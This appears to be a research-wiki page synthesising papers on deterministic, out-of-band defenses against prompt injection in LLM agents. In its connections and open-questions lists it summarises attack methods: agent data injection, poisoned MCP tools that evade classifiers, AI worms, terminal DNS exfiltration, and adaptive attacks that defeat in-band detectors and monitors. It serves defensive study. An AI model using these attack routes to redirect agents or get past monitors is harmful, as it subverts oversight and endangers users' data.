The vault's existing injection numbers — Microsoft's spotlighting (50%→<2%), Anthropic's constitutional classifiers (95%), Opus 4.5's Gray Swan figures — are first-party and mostly static-benchmark. This paper is the first independent, adaptive-evaluation data point, and it cuts two ways: it undercuts the in-band numbers (Nasr et al. drove spotlighting-class defenses to >90–95% under adaptive attack — a direct tension flagged on Agentic Prompt Injection) while tentatively supporting the out-of-band class (a deterministic gate held under a hand-crafted adaptive attack). The authors are scrupulous that this is "one small-scale data point on a weak model with a single black-box attack template" — a stronger optimized white-box (GCG) attack, or one confined to already-authorized tools, remains the open threat. It is consistent with, but does not establish, the hypothesis that deterministic out-of-band enforcement is a harder target than in-band detection.

Connections#

• Agentic Prompt Injection — the threat this class defends against; this page is the defense-architecture counterpart to that page's threat description. Together they answer the "durable property or training gap?" question: treat it as durable, enforce outside the model

• Agent Data Injection (ADI) — a within-data attack (forge trusted data, not an instruction) run independently against this defense family: only correct data-flow tracking (CaMeL Strict) fully stops it, confirming that provenance/flow-tracking — the weak §6 column — is where the real answer lives, and that a model-based quarantine LLM is the hole a delimiter attack exploits

• Task-Specification Effects in Prompt Injection (AutoDojo) — a cheap black-box adaptive attack (AutoDojo) run against nine defenses on five models: the sharpest corroboration of the in-band-collapse / out-of-band-holds asymmetry, and evidence that the action-constraining family gets stronger on the under-specified tasks where filters leak worst

• Capability Gating Is Not Authorization — a member of this defense family at the framework-default layer: ScopeGate is a deterministic PDP/PEP that re-authorizes each call's argument values against out-of-band policy (0/48 static, 0/29 adaptive bypasses). It names the "attack confined to already-authorized actions" failure class precisely (confused deputy within granted capability scope) and closes the value-redirection half of it, while sharing this page's corrupt-the-legitimate-data residual. It now also hosts NetInjectBench (arXiv 2607.10490, empirical), an independent same-architecture replication in network operations — 0/240 unsafe attack actions plus 100/100 correct decisions on a degraded-metadata stress suite, against a fully static attacker — whose cost profile is written up in the section above

• Off-Host, Identity-Bound Authorization — the same "gate outside the model" move pushed to its strongest placement: aiAuthZ (Kodathala, arXiv 2607.05518) runs the deterministic authorizer in a separate trust domain the agent has no credentials for, where this page's CaMeL/FIDES/Progent enforce in-process — motivated by a measured finding that an in-process gate is bypassed when the runtime keeps overlapping built-in tools ("the model performed the sensitive action through the built-in tools and never consulted the gateway"). It adds a layer none of these have — per-message HMAC identity of the human sender — and shares the composition-of-permitted-calls limit; the author concedes there is no matched head-to-head vs CaMeL/Progent, so whether the off-host boundary buys security beyond the shared argument policy is still open

• MCP Tool Poisoning — the strongest "detection lost" exhibit for this page's thesis: ShareLock's threshold secret-sharing makes each poisoned MCP tool information-theoretically clean, defeating LLM safety classifiers, SFT guards, and entropy detectors simultaneously — no content-detection layer can catch it, so enforcement must move to the deterministic action gate. Its reconstructed call is exactly the tool-boundary action a reference monitor would still mediate. Its Agentjacking case study (Tenet Security, case-study) is the real-world version of the same argument, stated by a practitioner: Sentry's response was a global content filter blocking one payload string — the in-band symptom-treatment this page argues is the wrong layer — and Tenet's own conclusion is that "the only place left to stop it is at the agent's runtime — in the moment it decides to act," i.e. an out-of-band action gate. Vendor-reported (Tenet sells such a gate), so weighted below the empirical sources, but it is a clean field instance of "detection lost, structure won"

• Zero Trust for AI Agents — this is the academic-systems instantiation of the framework's Phase 4 (defend against prompt injection) and its reference-monitor + least-privilege doctrine (hub)

• Impossible, Not Tedious (Design Test) — a deterministic reference monitor removes the capability to authorize a high action from low-integrity data, rather than throttling it; and this paper is a fresh empirical instance of the friction-degradation finding (in-band adaptive breaks) plus its converse (a capability-removing gate held)

• Least Agency — Progent is least privilege at the tool-call boundary (symbolic per-call rules); the reference monitor is how "restrict what each tool can do" is enforced deterministically

• Deterministic Pre-Execution Gates — D2 arriving with no adversary at all. Reddy et al. (arXiv 2607.07405, empirical) build the same object — a deterministic read-only predicate over the proposed call and current state, checked before dispatch, no model in the loop — for a reliability reason: the agent is not compromised, it simply fails to apply a policy rule before a write, and 78% of the resulting failures are silent. Two things it adds to this page. First, the mechanism's value is not conditional on an attacker existing, which widens the deployment case beyond security budgets. Second, it inverts the utility story this literature assumes: enforcement here raises task success (29.6% → 42.0%) rather than costing it, because the blocked write was the one that would have corrupted the state unrecoverably — where Progent pays ~45%→~26% utility and CaMeL Strict 86.5%→36.5% for the same kind of gate. Its canonical deceptive task is the bridge back to this page's threat model: a user asserting false state is an in-band attack in everything but intent, and the state-reading predicate is immune for exactly the reason it beats a classifier — it reads state, not claims (16/16 solved gated, ≤1/16 ungated)

• Claude Code Auto Mode — a contrast: auto-mode's classifier is a model-based action-boundary gate, exactly the "LLM in the loop" the out-of-band literature (D2) argues is a weaker target than a deterministic policy monitor

• Memory and Context Poisoning — persisted memory and prior-agent outputs are low-integrity channels the Biba invariant / provenance-labeling approach must track; §8.2's provenance-oracle problem is the same trusted-base as memory integrity validation. Its AM-Sentry defense (GhostWriter, NMSU, empirical) is the fourth independent data point on D2, written up in the section above: a two-stage memory gate built entirely from LLM judges, plateauing at 12–20% with the floor set by the judge model (15% → 77% on a model swap), and inferring provenance from content rather than from an authenticated channel

• Non-Malleable Memory Authority (TMA-NM) — the cross-session memory instantiation of this page's Biba-invariant / reference-monitor doctrine: TMA-NM binds authority to origin at write time and propagates untrust non-malleably at the tool-call boundary (a tool output inherits the max untrust of its bound inputs), machine-checked in TLA⁺. Its capability ifc (CaMeL/Fides) baseline is laundered on every channel including the direct poison (84%) because single-session IFC assumes a clean store — extending the §6 systematization into persistent memory. It also names the same in-the-loop / value-attribution residual (§8.2 provenance oracle → its Assumption A1 origin-labeling oracle)

• OWASP — the paper builds on OWASP's LLM01:2025 framing and its note that a guardrail model is itself a model, and itself injectable

• Agent Identity Management System (AIMS) — the same "keep it outside the manipulable model" doctrine at the identity layer: AIMS mandates the LLM MUST NOT hold credentials and that the authorization server, not a local UI confirmation, authorizes — the credential/authorization twin of moving the reference monitor out of band

• Prompt-Cache Economics — the arithmetic behind APPA's two cache-shaped design decisions (branch rather than re-synthesize context, because the child shares an exact token prefix; register the remedy tool at run start so dispatch never invalidates the cache mid-run). Those choices are cheap to justify informally and expensive to get wrong: on Anthropic's 5-minute cache a write costs 12.5× a read and 1.25× an uncached input token, so a mid-run prefix break is not a missed discount but a surcharge

• Context Lifecycle Management — the same fork-work-merge context operation arrived at from the opposite motive. Self-GC forks the prefix into a side channel so a planner can propose edits without touching the main loop, and prices the commit against prefix-cache breakage; APPA forks the prefix so a restrictive read happens off the parent trajectory, and merges only a label-checked derivative. Both keep the parent transcript authoritative, both gate the merge on a deterministic harness check rather than the model's say-so, and both are explicitly KV-cache-aware — APPA's argument for branching over a Dual-LLM verifier is precisely that the child shares an exact token prefix and needs no context re-synthesis. Read together they suggest context branching is one harness primitive with two payoffs (cost and confinement), not two mechanisms

• Blast Radius (Agentic) — APPA bounds the radius of a read: contamination is confined to a disposable child trajectory rather than the parent context. But its own §8 draws the limit sharply — branching is trajectory isolation, not transactional rollback. An external egress a child commits before being abandoned cannot be reverted, stays visible tree-wide on the shared event log, and still invalidates later no_prior(egress) checks. Context confinement and effect confinement are different problems, and only the first is what a label algebra buys

• Write-Then-Trusted — the generalization of the "monitor mediates the wrong interface" finding above, from one PoC to a cross-vendor pattern with CVEs. Rehberger's OSC 7 chain is one instance where the trusting component is a renderer; Pillar Security's eight reproduced escapes (case-study, vendor-COI flagged; CVE-2026-48124, GHSA-v4xv-rqh3-w9mc, GHSA-p9g2-cr55-cw9c, fixes in Cursor 3.0.0 / Codex CLI 0.95.0) add seven more trusting components — a hook engine, the Docker daemon, a Python extension's interpreter discovery, a Git fsmonitor helper, a VSCode task runner. Same structure each time: the reference monitor achieves complete mediation over the agent's calls, and the consequential execution happens one process downstream, after the agent's turn, in something that was never in the monitor's enumeration of sinks

• Self-Propagating Prompt Injection (AI Worms) — this page's thesis argued from the attack side, and the one thing it adds is a reason guard-model defenses have a structural residual rather than a tuning problem. Måløy's closing argument (case-study, Copilot for Word, MSRC): the model must process attacker-reachable content in order to judge it, so "the content being inspected participates in the act of inspection" — his analogy is asking an interpreter to execute an untrusted program to determine whether it is safe. Moving detection upstream only relocates the problem, because LLMs recover semantics across radically different representations, so an effective detector needs semantic capability comparable to the target model and a weaker one covers a strictly smaller representational space. The only technology with comparable capability is another LLM, hence "LLMs all the way down." That is the mechanism behind the numbers already on this page — AM-Sentry plateauing at 12–20% with the floor set by the judge model, and NetInjectBench's Two-Pass LLM Judge splitting 28.75% / 0.00% across model families on an identical prompt. Note the limit for his own case: the monitors catalogued here mediate tool calls, and the harmful act in a Copilot drafting session is the model writing text into the document it was asked to write — there is no call to deny

Open Questions#

• The reproduction bounds a single black-box attack template on one weak model. Does a stronger optimized white-box (GCG) attack, or one confined to already-authorized actions (achieving the injection goal without any policy violation), break the deterministic gate the way adaptive attacks broke in-band defenses? The authors name this as the next study. (The "already-authorized actions" half is now partly addressed by Mellafe Zuvic (2026): it splits "already authorized" into capability-authorized-but-not-value-authorized (a well-typed account=acct_ATTACKER — blocked by ScopeGate's per-call value authz stage, 0 bypasses in-corpus) versus genuinely-within-policy (corrupting a legitimately-variable value the agent acts on — the residual that survives, the same class ADI rides past Progent at 22.2%). So a within-capability attack is defeated where an allowlist constrains the corrupted argument, but not where the corrupted value legitimately varies. The white-box question stands.)

• Progent's policy is LLM-authored — the one model-based component. Does the "gate must not be a model" principle fully hold when the policy is still written by a model that can be talked into widening the allowlist? (The adaptive attack targeted exactly this and failed, but possibly due to the confound.)

• Provenance-aware retrofit: can a monitor that sees only tool I/O track transitive provenance to enforce the Biba invariant directly (rather than approximating it with argument patterns), without instrumenting the model's hidden reasoning? The paper flags this as the design problem the systematization implies, unanswered. (A second partial construction, for the single-run slice: APPA (arXiv 2607.24625, empirical) answers "don't infer provenance, declare it" — each tool contract states its own label delta, emits, and requires, and the engine folds the declared contribution at a pre-dispatch hook, so no hidden reasoning is instrumented and baseline enforcement runs in an ordinary protocol gateway. Two costs make it partial. The retrofit is split: label enforcement works at the MCP/gateway layer, but the branching that makes it affordable "relies on runtime confinement" — an application harness or proxy able to isolate context trajectories. And the guarantee inherits the declaration's completeness: their own eval lost a scenario to a store-writing tool declared with no sink requirement. Declared provenance moves the unsolved part from inference to authoring, which is a better place for it but not a smaller problem.) (A concrete construction also exists for the cross-session memory slice: TMA-NM (Louck, arXiv 2606.24322) enforces the Biba invariant directly — write-time origin binding + non-malleable propagation, with untrust propagated at the tool-call boundary — and machine-checks it in TLA⁺. The caveat sharpens rather than closes the question: it is not "sees only tool I/O" — it needs an authenticated origin-labeling oracle (mTLS / audience-bound OAuth / signed responses) at the trust boundary, and full value-level taint through nested structured payloads is still future work.)

• Does the ~6× reduction and the "held under adaptive attack" result survive on a strong agent with a fatter natural attack surface (the 7B's low absolute numbers and workspace's 0% are artifacts of a weak agent), and with a stronger policy model than the local 7B? (Partly answered by AutoDojo: Progent and DRIFT held under a cheap black-box adaptive attack across five models including capable ones (GPT-4o-mini, Gemini-2.5-Flash), not just a weak 7B — but against a black-box attacker; the white-box question below stands.)

• The utility cost (~45%→~26%) and ~15× LLM-call overhead are large. Is deterministic out-of-band enforcement economically deployable at production scale, or does the cost cap it to high-stakes action surfaces? Partially answered: NetInjectBench (arXiv 2607.10490, empirical) separates the two costs. Its deterministic gate adds zero LLM calls and raises useful-action rate (16.67% → 99.17% on attacks, 100.00% on approved changes) by substituting a safe fallback instead of terminating — so neither cost is intrinsic to deterministic enforcement. What Progent pays for is its LLM-authored policy; NetInjectBench avoids that by reading an existing change-management record. The question narrows accordingly: not "is enforcement affordable" but "where does the out-of-band policy come from, and what does that cost" — free where a system of record already exists, unmeasured elsewhere. Not settled: six mock tools, one dominant governed write, three 7–8B models.

• A structural guarantee moves the adaptive attacker's target off the model and onto the policy artifacts: APPA's two residual breaches are both contract-coverage failures, not enforcement bypasses. Is contract-completeness auditing — does every store-writing tool declare a sink requirement, does every declared delta match what the tool actually returns — tractable at production tool-surface scale, and does an attacker who can read a deployment's tool registry find such a gap reliably? No source in the corpus attempts this, and it is a different exercise from prompt red-teaming.

Sources#

• Agentic Permissions Policy Algebra for Taint Confinement in LLM Agents — Kravchenko, Liventsev, Konstantinov, Iskhakov & Kukuy (Archestra AI — vendor-COI flagged, own design and own benchmark), Agentic Permissions Policy Algebra for Taint Confinement in LLM Agents, arXiv 2607.24625, 2026-07-27, empirical. §2 + Table 1 (positioning vs Fides/CaMeL/ACE/MemLineage/TACIT — the comparison row reproduced above), §3 (two-monoid model: label lattice P(U) × T, checked-action monoid, free log monoid, committed-effect projection E, Props 3.1–3.2, the Unknown-outside-the-lattice / gradual-typing treatment), §4 (prospective acquisition enforcement, the two decoupled checks, Thm 4.1 remedy completeness for the modeled subset), §5 (atomic rulings, Thm 5.1 call-scoped release, mandate typology, the response-sink anti-self-approval rule, sanitizers), §6 (branch protocol, label inheritance, transcript snapshot and its prompt-cache argument, Thm 6.1, shared event log, sanitized exits and the transformation-assertion TCB exception), §7 (bench-corp: 14 scenarios / 17 tools / 5 arms / 4 models, the AgentDojo negative result and its 47%-vs-77% cost split, Table 3, the two residual breaches), §8 (TCB boundary, no-rollback limit, unmeasured overheads), Appendix A (all four proofs; the planner cross-checked by property-based tests against an independent reference implementation), Appendix B (benchmark prompts). Figure 1 viewed per the image two-pass rule: parent trajectory unbroken across the branch, a blocked raw return, a sanitizer-mediated merge, an abandoned path, and one shared append-only event log carrying both parent and child events. Also discloses GPT-5.6 Sol and Claude Fable 5 in development and experiments, Gemini 3.6 Flash for editing — worth noting that GPT-5.6 Luna, the model carrying the 95%-utility headline, is same-family with the model used to build the system.
• Parse warning. docling's Table 3 markdown is damaged: it dropped GPT-5.6 Luna's Fides-open row entirely (36/39 (92%) utility, 15/42 (36%) ASR, 0 remedies) with no visible gap, and wrapped the Qwen 3.6 35B block across two rows with arm/value misalignment. Recovered and verified against the PDF (pdftotext -f 8 -layout on ); every figure quoted on this page is from the PDF, and all prose-stated ranges (31–50% open ASR, 0–7% APPA ASR, 33–56% Fides utility, 32–50 remedies, the per-model episode deltas) reconcile with the recovered table. Tables 1 and 2 parsed intact (6 systems / 3 outcome rows).
• Adaptive Evaluation of Out-of-Band Defenses Against Prompt Injection in LLM Agents — Narisetty, Kore, Kattamanchi & Kumarapu (LaunchSafe Research), arXiv 2606.26479, June 2026, empirical. §2 (control/data confusion across eras; detection lost, structure won), §4 (in-band defenses have no guarantee; Nasr et al. broke 12 at >90%), §5 (classical lens: Biba, reference monitor, Saltzer–Schroeder, capabilities/IFC), §6 (8-dimension systematization, Table 2), §7 (the gap is evaluation not deployment), §8 (limits that hold by construction), §10 (adaptive-evaluation protocol), §11 (Qwen2.5-7B reproduction: Tables 3–4, ASR 25.8%→4.2%→2.6%, utility ~45%→~26%, ~15× calls, workspace-0% analysis)
• Agent Data Injection Attacks are Realistic Threats to AI Agents — Choi et al., arXiv 2607.05120, July 2026, empirical. §6.2 agent-level evaluation (Figs 9–10, Table 4): dual-LLM/CaMeL-No-Policy 25.0%, CaMeL Normal 23.1% (taint-propagation bug reported to authors), CaMeL Strict 0% at 36.5% utility, Progent 22.2%, randomization 28.7% — independent evidence on this defense family against a within-data attack; full treatment on Agent Data Injection (ADI)
• AutoDojo: Adaptive Black-Box Attacks Reveal the Limits of IPI Defenses and Task-Specification Effects in LLM Agents — Ma et al., arXiv 2606.15057, June 2026, empirical. §5.2 (Table 2, Fig 1): under a cheap black-box adaptive attack, filters collapse (PIGuard 0%→28%) while system-level Progent (8.2%→7.7%) and DRIFT (2.6%→6.4%) hold across five models; §5.3 (Table 5): the action-constraining family grows stronger on action-open tasks; full treatment on Task-Specification Effects in Prompt Injection (AutoDojo)
• NetInjectBench: Benchmarking Indirect Prompt Injection in Tool-Using Large Language Model Agents for Network Operations — Shayoni, Shoaib, Hossain & Mridha (Wichita State / AIUB), arXiv 2607.10490, July 2026, empirical. §4.1 Table 7 (the seven-method ladder and its useful-action column), §4.3 Tables 10 and 12 (100.00% usefulness on approved changes, 98.33% on benign), §3.3 (the gate's safe-fallback order — the design choice that makes blocking nearly free), §4.4 Table 14 (invalid-output and normalization rates: 76.92% for direct-LLM methods, 0% for the deterministic post-processors). Cited here for the cost/utility evidence; full treatment on Capability Gating Is Not Authorization
• From Indirect Prompt Injection to DNS Exfiltration in macOS Terminal via ANSI Escape Codes — Johann Rehberger (wunderwuzzi), Embrace The Red, 2026-07-16, case-study. The three-stage chain (OSC 7 → Terminal DNS resolution → hostname-encoded exfiltration), the dillma.py spreadsheet PoC, the Dec-2024→macOS Tahoe 26.1 disclosure timeline, and the control-character-encoding remediation. A retrospective on a patched behavior, not a live vulnerability; cited here as the field instance of the §8 side-channel limit
• When Agents Remember Too Much: Memory Poisoning Attacks on Large Language Model Agents — Torres, Shrestha & Misra (NMSU), arXiv 2607.06595, July 2026, empirical. §5 (AM-Sentry: S1/S2/S3 policy tiers and the retrieval screen, all LLM-judge-driven with fixed arithmetic downstream; Protocols 4-5, Tables 1-3), §7.3 (prompt-injection detectors against its payloads: DataFilter 0%, PromptArmor 85% directive / 6% descriptive), §7.4 Figs. 8-9 (policy and policy+screen residuals; the S3 judge-model swing 15% → 77%), §8 (non-adaptive attacker, intuitively chosen weights). Cited here for the D2 evidence; full treatment on Memory and Context Poisoning